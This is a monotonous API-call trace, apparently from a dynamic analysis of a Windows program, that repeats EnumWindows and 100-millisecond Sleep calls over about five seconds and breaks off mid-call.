[0234.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.409] Sleep (dwMilliseconds=0x64) [0234.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.419] Sleep (dwMilliseconds=0x64) [0234.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.426] Sleep (dwMilliseconds=0x64) [0234.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.436] Sleep (dwMilliseconds=0x64) [0234.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.446] Sleep (dwMilliseconds=0x64) [0234.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.565] Sleep (dwMilliseconds=0x64) [0234.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.598] Sleep (dwMilliseconds=0x64) [0234.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.607] Sleep (dwMilliseconds=0x64) [0234.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.611] Sleep (dwMilliseconds=0x64) [0234.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.619] Sleep (dwMilliseconds=0x64) [0234.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.629] Sleep (dwMilliseconds=0x64) [0234.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.677] Sleep (dwMilliseconds=0x64) [0234.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.685] Sleep (dwMilliseconds=0x64) [0234.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.749] Sleep (dwMilliseconds=0x64) [0234.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.757] Sleep (dwMilliseconds=0x64) [0234.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.765] Sleep (dwMilliseconds=0x64) [0234.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0234.967] Sleep (dwMilliseconds=0x64) [0235.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.027] Sleep (dwMilliseconds=0x64) [0235.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.113] Sleep (dwMilliseconds=0x64) [0235.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.116] Sleep (dwMilliseconds=0x64) [0235.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.118] Sleep (dwMilliseconds=0x64) [0235.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.126] Sleep (dwMilliseconds=0x64) [0235.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.128] Sleep (dwMilliseconds=0x64) [0235.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.130] Sleep (dwMilliseconds=0x64) [0235.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.132] Sleep (dwMilliseconds=0x64) [0235.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.134] Sleep (dwMilliseconds=0x64) [0235.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.136] Sleep (dwMilliseconds=0x64) [0235.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.138] Sleep (dwMilliseconds=0x64) [0235.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.140] Sleep (dwMilliseconds=0x64) [0235.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.142] Sleep (dwMilliseconds=0x64) [0235.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.145] Sleep (dwMilliseconds=0x64) [0235.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.231] Sleep (dwMilliseconds=0x64) [0235.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.259] Sleep (dwMilliseconds=0x64) [0235.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.261] Sleep (dwMilliseconds=0x64) [0235.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.262] Sleep (dwMilliseconds=0x64) [0235.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.264] Sleep (dwMilliseconds=0x64) [0235.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.266] Sleep (dwMilliseconds=0x64) [0235.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.268] Sleep (dwMilliseconds=0x64) [0235.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.271] Sleep (dwMilliseconds=0x64) [0235.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.272] Sleep (dwMilliseconds=0x64) [0235.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.274] Sleep (dwMilliseconds=0x64) [0235.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.277] Sleep (dwMilliseconds=0x64) [0235.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.279] Sleep (dwMilliseconds=0x64) [0235.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.281] Sleep (dwMilliseconds=0x64) [0235.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.283] Sleep (dwMilliseconds=0x64) [0235.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.286] Sleep (dwMilliseconds=0x64) [0235.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.287] Sleep (dwMilliseconds=0x64) [0235.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.361] Sleep (dwMilliseconds=0x64) [0235.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.401] Sleep (dwMilliseconds=0x64) [0235.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.406] Sleep (dwMilliseconds=0x64) [0235.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.408] Sleep (dwMilliseconds=0x64) [0235.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.410] Sleep (dwMilliseconds=0x64) [0235.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.412] Sleep (dwMilliseconds=0x64) [0235.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.414] Sleep (dwMilliseconds=0x64) [0235.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.428] Sleep (dwMilliseconds=0x64) [0235.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.566] Sleep (dwMilliseconds=0x64) [0235.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.658] Sleep (dwMilliseconds=0x64) [0235.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.749] Sleep (dwMilliseconds=0x64) [0235.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.790] Sleep (dwMilliseconds=0x64) [0235.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.800] Sleep (dwMilliseconds=0x64) [0235.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.867] Sleep (dwMilliseconds=0x64) [0235.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.875] Sleep (dwMilliseconds=0x64) [0235.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.877] Sleep (dwMilliseconds=0x64) [0235.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.880] Sleep (dwMilliseconds=0x64) [0235.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.882] Sleep (dwMilliseconds=0x64) [0235.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.884] Sleep (dwMilliseconds=0x64) [0235.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.886] Sleep (dwMilliseconds=0x64) [0235.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.888] Sleep (dwMilliseconds=0x64) [0235.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.890] Sleep (dwMilliseconds=0x64) [0235.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.891] Sleep (dwMilliseconds=0x64) [0235.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.894] Sleep (dwMilliseconds=0x64) [0235.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.895] Sleep (dwMilliseconds=0x64) [0235.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.915] Sleep (dwMilliseconds=0x64) [0235.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0235.996] Sleep (dwMilliseconds=0x64) [0236.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.005] Sleep (dwMilliseconds=0x64) [0236.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.007] Sleep (dwMilliseconds=0x64) [0236.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.009] Sleep (dwMilliseconds=0x64) [0236.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.011] Sleep (dwMilliseconds=0x64) [0236.013] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.013] Sleep (dwMilliseconds=0x64) [0236.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.016] Sleep (dwMilliseconds=0x64) [0236.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.018] Sleep (dwMilliseconds=0x64) [0236.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.020] Sleep (dwMilliseconds=0x64) [0236.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.022] Sleep (dwMilliseconds=0x64) [0236.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.024] Sleep (dwMilliseconds=0x64) [0236.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.026] Sleep (dwMilliseconds=0x64) [0236.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.028] Sleep (dwMilliseconds=0x64) [0236.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.030] Sleep (dwMilliseconds=0x64) [0236.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.031] Sleep (dwMilliseconds=0x64) [0236.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.033] Sleep (dwMilliseconds=0x64) [0236.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.035] Sleep (dwMilliseconds=0x64) [0236.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.127] Sleep (dwMilliseconds=0x64) [0236.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.170] Sleep (dwMilliseconds=0x64) [0236.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.173] Sleep (dwMilliseconds=0x64) [0236.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.175] Sleep (dwMilliseconds=0x64) [0236.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.177] Sleep (dwMilliseconds=0x64) [0236.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.180] Sleep (dwMilliseconds=0x64) [0236.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.183] Sleep (dwMilliseconds=0x64) [0236.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.294] Sleep (dwMilliseconds=0x64) [0236.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.315] Sleep (dwMilliseconds=0x64) [0236.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.355] Sleep (dwMilliseconds=0x64) [0236.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.369] Sleep (dwMilliseconds=0x64) [0236.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.373] Sleep (dwMilliseconds=0x64) [0236.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.375] Sleep (dwMilliseconds=0x64) [0236.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.388] Sleep (dwMilliseconds=0x64) [0236.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.465] Sleep (dwMilliseconds=0x64) [0236.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.513] Sleep (dwMilliseconds=0x64) [0236.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.525] Sleep (dwMilliseconds=0x64) [0236.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.616] Sleep (dwMilliseconds=0x64) [0236.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.675] Sleep (dwMilliseconds=0x64) [0236.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.759] Sleep (dwMilliseconds=0x64) [0236.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.766] Sleep (dwMilliseconds=0x64) [0236.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.781] Sleep (dwMilliseconds=0x64) [0236.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.784] Sleep (dwMilliseconds=0x64) [0236.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.793] Sleep (dwMilliseconds=0x64) [0236.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.818] Sleep (dwMilliseconds=0x64) [0236.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.898] Sleep (dwMilliseconds=0x64) [0236.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.906] Sleep (dwMilliseconds=0x64) [0236.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.955] Sleep (dwMilliseconds=0x64) [0236.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.961] Sleep (dwMilliseconds=0x64) [0236.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.963] Sleep (dwMilliseconds=0x64) [0236.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.965] Sleep (dwMilliseconds=0x64) [0236.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.972] Sleep (dwMilliseconds=0x64) [0236.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.974] Sleep (dwMilliseconds=0x64) [0236.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0236.976] Sleep (dwMilliseconds=0x64) [0237.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.058] Sleep (dwMilliseconds=0x64) [0237.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.084] Sleep (dwMilliseconds=0x64) [0237.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.093] Sleep (dwMilliseconds=0x64) [0237.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.101] Sleep (dwMilliseconds=0x64) [0237.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.109] Sleep (dwMilliseconds=0x64) [0237.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.117] Sleep (dwMilliseconds=0x64) [0237.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.172] Sleep (dwMilliseconds=0x64) [0237.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.180] Sleep (dwMilliseconds=0x64) [0237.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.292] Sleep (dwMilliseconds=0x64) [0237.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.294] Sleep (dwMilliseconds=0x64) [0237.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.296] Sleep (dwMilliseconds=0x64) [0237.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.346] Sleep (dwMilliseconds=0x64) [0237.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.387] Sleep (dwMilliseconds=0x64) [0237.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.455] Sleep (dwMilliseconds=0x64) [0237.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.463] Sleep (dwMilliseconds=0x64) [0237.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.472] Sleep (dwMilliseconds=0x64) [0237.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.476] Sleep (dwMilliseconds=0x64) [0237.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.478] Sleep (dwMilliseconds=0x64) [0237.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.480] Sleep (dwMilliseconds=0x64) [0237.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.482] Sleep (dwMilliseconds=0x64) [0237.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.484] Sleep (dwMilliseconds=0x64) [0237.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.485] Sleep (dwMilliseconds=0x64) [0237.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.502] Sleep (dwMilliseconds=0x64) [0237.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.583] Sleep (dwMilliseconds=0x64) [0237.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.593] Sleep (dwMilliseconds=0x64) [0237.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.595] Sleep (dwMilliseconds=0x64) [0237.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.597] Sleep (dwMilliseconds=0x64) [0237.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.612] Sleep (dwMilliseconds=0x64) [0237.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.621] Sleep (dwMilliseconds=0x64) [0237.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.630] Sleep (dwMilliseconds=0x64) [0237.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.774] Sleep (dwMilliseconds=0x64) [0237.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.881] Sleep (dwMilliseconds=0x64) [0237.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.884] Sleep (dwMilliseconds=0x64) [0237.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.887] Sleep (dwMilliseconds=0x64) [0237.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.903] Sleep (dwMilliseconds=0x64) [0237.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.914] Sleep (dwMilliseconds=0x64) [0237.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.968] Sleep (dwMilliseconds=0x64) [0237.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0237.976] Sleep (dwMilliseconds=0x64) [0238.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.031] Sleep (dwMilliseconds=0x64) [0238.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.033] Sleep (dwMilliseconds=0x64) [0238.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.035] Sleep (dwMilliseconds=0x64) [0238.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.037] Sleep (dwMilliseconds=0x64) [0238.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.039] Sleep (dwMilliseconds=0x64) [0238.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.041] Sleep (dwMilliseconds=0x64) [0238.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.046] Sleep (dwMilliseconds=0x64) [0238.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.048] Sleep (dwMilliseconds=0x64) [0238.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.049] Sleep (dwMilliseconds=0x64) [0238.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.051] Sleep (dwMilliseconds=0x64) [0238.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.053] Sleep (dwMilliseconds=0x64) [0238.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.055] Sleep (dwMilliseconds=0x64) [0238.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.057] Sleep (dwMilliseconds=0x64) [0238.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.059] Sleep (dwMilliseconds=0x64) [0238.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.079] Sleep (dwMilliseconds=0x64) [0238.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.090] Sleep (dwMilliseconds=0x64) [0238.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.234] Sleep (dwMilliseconds=0x64) [0238.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.237] Sleep (dwMilliseconds=0x64) [0238.271] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.272] Sleep (dwMilliseconds=0x64) [0238.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.399] Sleep (dwMilliseconds=0x64) [0238.406] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.406] Sleep (dwMilliseconds=0x64) [0238.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.428] Sleep (dwMilliseconds=0x64) [0238.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.437] Sleep (dwMilliseconds=0x64) [0238.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.446] Sleep (dwMilliseconds=0x64) [0238.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.448] Sleep (dwMilliseconds=0x64) [0238.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.457] Sleep (dwMilliseconds=0x64) [0238.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.465] Sleep (dwMilliseconds=0x64) [0238.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.529] Sleep (dwMilliseconds=0x64) [0238.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.573] Sleep (dwMilliseconds=0x64) [0238.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.575] Sleep (dwMilliseconds=0x64) [0238.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.581] Sleep (dwMilliseconds=0x64) [0238.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.582] Sleep (dwMilliseconds=0x64) [0238.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.585] Sleep (dwMilliseconds=0x64) [0238.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.588] Sleep (dwMilliseconds=0x64) [0238.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.591] Sleep (dwMilliseconds=0x64) [0238.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.592] Sleep (dwMilliseconds=0x64) [0238.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.595] Sleep (dwMilliseconds=0x64) [0238.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.597] Sleep (dwMilliseconds=0x64) [0238.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.598] Sleep (dwMilliseconds=0x64) [0238.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.600] Sleep (dwMilliseconds=0x64) [0238.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.602] Sleep (dwMilliseconds=0x64) [0238.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.636] Sleep (dwMilliseconds=0x64) [0238.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.721] Sleep (dwMilliseconds=0x64) [0238.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.727] Sleep (dwMilliseconds=0x64) [0238.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.729] Sleep (dwMilliseconds=0x64) [0238.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.737] Sleep (dwMilliseconds=0x64) [0238.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.745] Sleep (dwMilliseconds=0x64) [0238.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.746] Sleep (dwMilliseconds=0x64) [0238.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.750] Sleep (dwMilliseconds=0x64) [0238.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.756] Sleep (dwMilliseconds=0x64) [0238.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.854] Sleep (dwMilliseconds=0x64) [0238.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.869] Sleep (dwMilliseconds=0x64) [0238.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.874] Sleep (dwMilliseconds=0x64) [0238.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.883] Sleep (dwMilliseconds=0x64) [0238.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.891] Sleep (dwMilliseconds=0x64) [0238.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.898] Sleep (dwMilliseconds=0x64) [0238.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0238.981] Sleep (dwMilliseconds=0x64) [0239.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.012] Sleep (dwMilliseconds=0x64) [0239.023] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.024] Sleep (dwMilliseconds=0x64) [0239.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.036] Sleep (dwMilliseconds=0x64) [0239.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.038] Sleep (dwMilliseconds=0x64) [0239.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.040] Sleep (dwMilliseconds=0x64) [0239.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.042] Sleep (dwMilliseconds=0x64) [0239.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.114] Sleep (dwMilliseconds=0x64) [0239.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.150] Sleep (dwMilliseconds=0x64) [0239.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.153] Sleep (dwMilliseconds=0x64) [0239.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.160] Sleep (dwMilliseconds=0x64) [0239.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.168] Sleep (dwMilliseconds=0x64) [0239.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.434] Sleep (dwMilliseconds=0x64) [0239.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.526] Sleep (dwMilliseconds=0x64) [0239.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.579] Sleep (dwMilliseconds=0x64) [0239.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.583] Sleep (dwMilliseconds=0x64) [0239.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.585] Sleep (dwMilliseconds=0x64) [0239.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.588] Sleep (dwMilliseconds=0x64) [0239.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0239.600] Sleep (dwMilliseconds=0x64) [0239.610] EnumWindows (lpEnumFunc=0x403dd0, 